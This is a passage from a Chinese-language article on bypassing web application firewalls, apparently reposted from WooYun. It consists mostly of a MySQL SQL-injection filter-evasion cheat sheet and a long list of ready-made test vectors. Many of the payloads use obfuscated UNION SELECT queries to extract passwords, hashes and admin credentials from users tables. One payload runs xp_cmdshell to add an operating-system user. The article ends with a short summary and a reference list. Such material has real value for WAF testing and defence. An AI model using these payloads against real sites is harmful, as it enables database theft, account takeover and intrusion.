    foo'div count(select`pass`from(users)where mid(pass,1,1)rlike lower(conv(10,pi()*pi(),pi()*pi())) )-'0
    a'in(true) and false */*!(true)union#newline select pass`alias`from users where true*/* n'1

#### 3. GreenSQL 1.3.0  ####

检测关键字：`union, information_schema, into outfile, current_user, current_date, version`

检测函数：`mid(), substring(), substr(), load_file(), benchmark(), user(), database(), version()`

adm' 'in' or 1='1        // auth bypass
    '-(1)union(select table_name,load_file('/tmp/test'),@@version
    from /*! information_schema.tables */);%00    //select union
    '-'' into%a0outfile '/tmp/test   //write to file

### c) SQLi Filter Evasion Cheat sheet ###

#注释
    ' or 1=1#
    ' or 1=1/* (MySQL < 5.1)
    ' or 1=1;%00
    ' or 1=1 union select 1,2 as `
    ' or#newline
    ' /*!50000or*/1='1
    ' /*!or*/1='1
    
    #前缀
    + – ~ !
    ' or –+2=- -!!!'2
    
    #操作符：
    ^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL
    
    #空格
    %20 %09 %0a %0b %0c %0d %a0 /**/
    'or+(1)sounds/**/like"1"–%a0-
    'union(select(1),tabe_name,(3)from`information_schema`.`tables`)#
    
    #有引号的字符串
    SELECT 'a'
    SELECT "a"
    SELECT n'a'
    SELECT b'1100001′
    SELECT _binary'1100001′
    SELECT x'61′
    
    #没有引号的字符串
    　'abc' = 0×616263
    　　' and substr(data,1,1) = 'a'#
    　　' and substr(data,1,1) = 0x61 # 0x6162
    　　' and substr(data,1,1) = unhex(61)    # unhex(6162)
    　　' and substr(data,1,1) = char(97  )# char(97,98)
    　　' and substr(data,1,1) = 'a'#
    　　' and hex(substr(data,1,1)) = 61#
    　　' and ascii(substr(data,1,1)) = 97#
    　　' and ord(substr(data,1,1)) = 97# 
    　　' and substr(data,1,1) = lower(conv(10,10,36))# 'a'
    
    #别名
    select pass as alias from users
    select pass`alias alias`from users
    
    #字型
    ' or true = '1 # or 1=1
    ' or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1
    ' or '1 # or true
    #操作符字型
    select * from users where 'a'='b'='c'
    select * from users where ('a'='b')='c'
    select * from users where (false)='c'
    
    #认真绕过'='
    select * from users where name = "="
    select * from users where false = "
    select * from users where 0 = 0
    select * from users where true#函数过滤器ascii (97)
    load_file/*foo*/(0×616263)
    
    #用函数构建字符串
    'abc' = unhex(616263)
    'abc' = char(97,98,99)
     hex('a') = 61
     ascii('a') = 97
     ord('a') = 97
    'ABC' = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36))
    
    #特殊字符
    　　aes_encrypt(1,12) // 4鏷眥"^z譎é蒃a
    　　des_encrypt(1,2) // 侴Ò/镏k
    　　@@ft_boolean_syntax // + -><()~*:""&|
    　　@@date_format // %Y-%m-%d
    　　@@innodb_log_group_home_dir // .\
    
    @@new: 0
    @@log_bin: 1
    #提取子字符串substr('abc',1,1) = 'a'
    substr('abc' from 1 for 1) = 'a'
    substring('abc',1,1) = 'a'
    substring('abc' from 1 for 1) = 'a'
    mid('abc',1,1) = 'a'
    mid('abc' from 1 for 1) = 'a'
    lpad('abc',1,space(1)) = 'a'
    rpad('abc',1,space(1)) = 'a'
    left('abc',1) = 'a'
    reverse(right(reverse('abc'),1)) = 'a'
    insert(insert('abc',1,0,space(0)),2,222,space(0)) = 'a'
    space(0) = trim(version()from(version()))
    
    #搜索子字符串
    locate('a','abc')
    position('a','abc')
    position('a' IN 'abc')
    instr('abc','a')
    substring_index('ab','b',1)
    
    #分割字符串
    length(trim(leading 'a' FROM 'abc'))
    length(replace('abc', 'a', "))
    
    #比较字符串
    strcmp('a','a')
    mod('a','a')
    find_in_set('a','a')
    field('a','a')
    count(concat('a','a'))
    
    #字符串长度
    length()
    bit_length()
    char_length()
    octet_length()
    bit_count()
    
    #关键字过滤
    Connected keyword filtering
    (0)union(select(table_name),column_name,…
    0/**/union/*!50000select*/table_name`foo`/**/…
    0%a0union%a0select%09group_concat(table_name)….
    0′union all select all`table_name`foo from`information_schema`. `tables`
    
    #控制流
    case 'a' when 'a' then 1 [else 0] end
    case when 'a'='a' then 1 [else 0] end
    if('a'='a',1,0)
    ifnull(nullif('a','a'),1)

### d) 测试向量 ###

%55nion(%53elect 1,2,3)-- -
    
    +union+distinctROW+select+
    /**//*!12345UNION SELECT*//**/
    /**/UNION/**//*!50000SELECT*//**/
    /*!50000UniON SeLeCt*/
    +#uNiOn+#sEleCt
    +#1q%0AuNiOn all#qa%0A#%0AsEleCt
    /*!u%6eion*/ /*!se%6cect*/
    +un/**/ion+se/**/lect
    uni%0bon+se%0blect
    %2f**%2funion%2f**%2fselect
    union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
    REVERSE(noinu)+REVERSE(tceles)
    /*--*/union/*--*/select/*--*/
    union (/*!/**/ SeleCT */ 1,2,3)
    /*!union*/+/*!select*/
    union+/*!select*/
    /**//*!union*//**//*!select*//**/
    /*!uNIOn*/ /*!SelECt*/
    +union+distinctROW+select+
    -15+(uNioN)+(sElECt)
    -15+(UnI)(oN)+(SeL)(ecT)+
    
    id=1+UnIOn/**/SeLect 1,2,3—
    id=1+UNIunionON+SELselectECT 1,2,3—
    id=1+/*!UnIOn*/+/*!sElEcT*/ 1,2,3—
    id=1 and (select 1)=(Select 0xAA 1000 more A’s)+UnIoN+SeLeCT 1,2,3—
    id=1+un/**/ion+sel/**/ect+1,2,3--
    id=1+/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/1,2,3
    id=1+/**/union/*&id=*/select/*&id=*/column/*&id=*/from/*&id=*/table--
    id=1+/**/union/*&id=*/select/*&id=*/1,2,3--
    id=-1 and (select 1)=(Select 0xAA*1000) /*!UNION*/ /*!SELECT*//**/1,2,3,4,5,6—x
    
    /**/union/*&id=*/select/*&id=*/column/*&id=*/from/*&id=*/table--
    /*!union*/+/*!select*/+1,2,3—
    /*!UnIOn*//*!SeLect*/+1,2,3—
    un/**/ion+sel/**/ect+1,2,3—
    /**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/1,2,3—
    ID=66+UnIoN+aLL+SeLeCt+1,2,3,4,5,6,7,(SELECT+concat(0x3a,id,0x3a,password,0x3a)+FROM+information_schema.columns+WHERE+table_schema=0x6334706F645F666573746976616C5F636D73+AND+table_name=0x7573657273),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--
    
    ?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
    index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123
    ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,
    ?id=15+/*!UnIoN*/+/*!aLl*/+/*!SeLeCt*/+1,version(),3,4,5,6,7--
    id=1/*!limit+0+union+select+concat_ws(0×3a,table_name,column_name)+from+information_schema.columns*/
    
    id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(TABLE_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.TABLES-- 
    id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
    
    SELECT*FROM(test)WHERE(name)IN(_ucs2 0x01df010e004d00cf0148);
    SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) in xml way
    
    select user from mysql.user where user = 'user' OR mid(password,1,1)=unhex('2a')
    select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]'
    select user from mysql.user where user = 'user' OR mid(password,1,1) like '*'
    select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[*]'
    select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42
    
    /?id=1+union+(select'1',concat(login,hash)from+users)
    /?id=(1)union(((((((select(1),hex(hash)from(users))))))))
    
    ?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ net user lucifer UrWaFisShiT /*&id=1*/ --
    id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)
    id=10 and 1=0/(select top 1 table_name from information_schema.tables)
    
    id=-725+UNION+SELECT+1,GROUP_CONCAT(id,0x3a,login,0x3a,password,0x3a,email,0x3a,access_level),3,4,5+FROM+Admin--
    id=-725+UNION+SELECT+1,version(),3,4,5--sp_password //使用sp_password隐藏log中的请求

## 0x05 本文小结 ##

--------------------

本文内容到这里内容差不多就算是完了回顾一下本文内容主要从三个方面展开绕过WAF的方法、Filter的实现机制和Evasion措施、测试示例和向量。本文的第二部分”绕过WAF的方法“花了较多时间需要参照已有的总结进行自己的总结并给出示例第三、四两部分更多的是粘贴已收集到的向量因此较快。本文内容和篇幅较多涉及信息量很大但是仍有许多不完善或遗漏的地方。

最后再说一下昨天晚上和园长谈及本文内容时他表示像缓冲区溢出绕过waf这些针对的是传统的waf而且关键字替换也不仅仅是处理select这么简单现在一种很重要的处理方式是编码笔者听后确实感觉受教了。需要进一步学习的还有很多很多云waf和传统waf之间千丝万缕的关系也还有待进一步去了解。前几天朋友说前几天他现在过滤都不太使用正则表达式了那样效率太低使用抽象语法树AST检测SQL注入曾经以为只有学院派会使用的现在已经发生在身边了。

笔者作为新手抱着学习的态度写出本文希望懂这方面的朋友前辈可以多指点。

## 0x06 参考资料 ##

--------------------

WAF介绍http://www.nsfocus.com/waf/jishu/js\_01.html

WAF实现扫描器识别http://drops.wooyun.org/tips/730

WAF的绕过技巧http://drops.wooyun.org/tips/132

绕过waf的笔记http://fuck.0day5.com/?p=622

SQL注入中的WAF绕过技术http://netsecurity.51cto.com/art/201301/376869.htm

浅谈WAF的绕过http://netsecurity.51cto.com/art/201212/374068.htm

SQL注入攻防入门详解(MS SQL)http://www.2cto.com/Article/201211/165466.html

Beyond SQLi: Obfuscate and Bypass http://www.exploit-db.com/papers/17934/

从基础到高级的waf绕过方法http://gnahackteam.wordpress.com/2012/07/06/basic-to-advanced-waf-bypassing-methods/

Bypass WAFhttp://www.surfthecyber.com/2013/05/how-to-bypass-waf-web-application.html

WAF Bypassing: SQL Injection (forbidden or not?)http://www.r00tsec.com/2011/07/sql-injection-bypass-waf.html

WAF filter evasionhttp://sla.ckers.org/forum/read.php?24,33903

http://em3rgency.com/sql-injection-filter-evasion/

http://0haxor.blogspot.com/2012/08/waf-waf-bypassing.html

http://kaoticcreations.blogspot.com/p/sql-injection-waf-bypassing.html

http://kaoticcreations.blogspot.com/p/basic-sql-injection-101.html

http://websec.files.wordpress.com/2010/11/sqli2.pdf

http://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/

来源：http://drops.wooyun.org/tips/968

[1.png]: /images/20220724/ce968d58f61c46b28aed3f67d3709c06.png!small
[1.png_1.png]: /images/20220724/ce968d58f61c46b28aed3f67d3709c06.png
[2.png]: /images/20220724/97727e6212c04d9f8926052e36d565ae.png!small
[2.png_2.png]: /images/20220724/97727e6212c04d9f8926052e36d565ae.png
[3.png]: /images/20220724/2734078a8e584051a1b307553580b5f2.png!small
[3.png_3.png]: /images/20220724/2734078a8e584051a1b307553580b5f2.png
[a.cn_test_index.php_text_script_alert_1_script_waf.conf]: http://www.freeattack.com/test/?text=%3Cscript%3Ealert%281%29%3C/script%3E%E4%B8%8D%E4%BC%9A%E5%BC%B9%E7%AA%97%EF%BC%8C%E5%B9%B6%E4%B8%94%E8%BF%94%E5%9B%9E403.
[4.png]: /images/20220724/a6646eec967f4404a1fa16f731e7939a.png!small
[4.png_4.png]: /images/20220724/a6646eec967f4404a1fa16f731e7939a.png
[http_www.freebuf.com_articles_web_42727.html]: http://www.freebuf.com/articles/web/42727.html
[1.png 1]: /images/20220724/b6175894733449989101c742a111043e.png!small
[1.png_1.png 1]: /images/20220724/b6175894733449989101c742a111043e.png
[2.png 1]: /images/20220724/da55210aca2f470f8e7490f6ee2f7459.png!small
[2.png_2.png 1]: /images/20220724/da55210aca2f470f8e7490f6ee2f7459.png
[3.png 1]: /images/20220724/8e43ba1e238b461e9f26fd4b82da9e3c.png!small
[3.png_3.png 1]: /images/20220724/8e43ba1e238b461e9f26fd4b82da9e3c.png
[4.png 1]: /images/20220724/477e55e0a60041e1a27d11a96c633774.png!small
[4.png_4.png 1]: /images/20220724/477e55e0a60041e1a27d11a96c633774.png
[5.png]: /images/20220724/e8d5e982ecb24f4988f48b0dca5046ad.png
[5.png 1]: http://image.3001.net/images/20141221/14190936221657.png
[http_pan.baidu.com_s_1pJ6wxj9]: http://pan.baidu.com/s/1pJ6wxj9
[waf]: http://drops.wooyun.org/tips/132
[2014022613524357191.jpg]: http://static.wooyun.org/201402/2014022613524357191.jpg
[Beyond SQLi_ Obfuscate and Bypass]: http://www.exploit-db.com/papers/17934/
[2014022613570037001.jpg]: http://static.wooyun.org/201402/2014022613570037001.jpg
[2014022613574878521.jpg]: http://static.wooyun.org/201402/2014022613574878521.jpg
[Mysql]: http://drops.wooyun.org/tips/123
[2014022614064414576.png]: http://static.wooyun.org/201402/2014022614064414576.png
[2014022614071092308.png]: http://static.wooyun.org/201402/2014022614071092308.png